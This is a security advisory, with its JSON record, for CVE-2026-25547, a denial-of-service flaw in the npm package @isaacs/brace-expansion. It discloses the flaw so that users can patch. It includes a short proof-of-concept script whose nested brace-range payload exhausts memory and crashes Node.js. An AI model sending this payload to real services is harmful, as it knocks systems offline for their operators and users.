GHSA-7H2J-956F-4VF2
Vulnerability from github – Published: 2026-02-03 19:41 – Updated: 2026-02-05 00:36Summary
@isaacs/brace-expansion is vulnerable to a Denial of Service (DoS) issue caused by unbounded brace range expansion. When an attacker provides a pattern containing repeated numeric brace ranges, the library attempts to eagerly generate every possible combination synchronously. Because the expansion grows exponentially, even a small input can consume excessive CPU and memory and may crash the Node.js process.
Details
The vulnerability occurs because @isaacs/brace-expansion expands brace expressions without any upper bound or complexity limit. Expansion is performed eagerly and synchronously, meaning the full result set is generated before returning control to the caller.
For example, the following input:
{0..99}{0..99}{0..99}{0..99}{0..99}
produces:
100^5 = 10,000,000,000 combinations
This exponential growth can quickly overwhelm the event loop and heap memory, resulting in process termination.
Proof of Concept
The following script reliably triggers the issue.
Create poc.js:
const { expand } = require('@isaacs/brace-expansion');
const pattern = '{0..99}{0..99}{0..99}{0..99}{0..99}';
console.log('Starting expansion...');
expand(pattern);
Run it:
node poc.js
The process will freeze and typically crash with an error such as:
FATAL ERROR: JavaScript heap out of memory
Impact
This is a denial of service vulnerability. Any application or downstream dependency that uses @isaacs/brace-expansion on untrusted input may be vulnerable to a single-request crash.
An attacker does not require authentication and can use a very small payload to:
- Trigger exponential computation
- Exhaust memory and CPU resources
- Block the event loop
- Crash Node.js services relying on this library
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.0"
},
"package": {
"ecosystem": "npm",
"name": "@isaacs/brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25547"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T19:41:15Z",
"nvd_published_at": "2026-02-04T22:16:00Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`@isaacs/brace-expansion` is vulnerable to a Denial of Service (DoS) issue caused by unbounded brace range expansion. When an attacker provides a pattern containing repeated numeric brace ranges, the library attempts to eagerly generate every possible combination synchronously. Because the expansion grows exponentially, even a small input can consume excessive CPU and memory and may crash the Node.js process.\n\n### Details\n\nThe vulnerability occurs because `@isaacs/brace-expansion` expands brace expressions without any upper bound or complexity limit. Expansion is performed eagerly and synchronously, meaning the full result set is generated before returning control to the caller.\n\nFor example, the following input:\n\n```\n{0..99}{0..99}{0..99}{0..99}{0..99}\n```\n\nproduces:\n\n```\n100^5 = 10,000,000,000 combinations\n```\n\nThis exponential growth can quickly overwhelm the event loop and heap memory, resulting in process termination.\n\n### Proof of Concept\n\nThe following script reliably triggers the issue.\n\nCreate `poc.js`:\n\n```js\nconst { expand } = require(\u0027@isaacs/brace-expansion\u0027);\n\nconst pattern = \u0027{0..99}{0..99}{0..99}{0..99}{0..99}\u0027;\n\nconsole.log(\u0027Starting expansion...\u0027);\nexpand(pattern);\n```\n\nRun it:\n\n```bash\nnode poc.js\n```\n\nThe process will freeze and typically crash with an error such as:\n\n```\nFATAL ERROR: JavaScript heap out of memory\n```\n\n### Impact\n\nThis is a denial of service vulnerability. Any application or downstream dependency that uses `@isaacs/brace-expansion` on untrusted input may be vulnerable to a single-request crash.\n\nAn attacker does not require authentication and can use a very small payload to:\n\n* Trigger exponential computation\n* Exhaust memory and CPU resources\n* Block the event loop\n* Crash Node.js services relying on this library",
"id": "GHSA-7h2j-956f-4vf2",
"modified": "2026-02-05T00:36:54Z",
"published": "2026-02-03T19:41:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/brace-expansion/security/advisories/GHSA-7h2j-956f-4vf2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25547"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/brace-expansion"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@isaacs/brace-expansion has Uncontrolled Resource Consumption"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.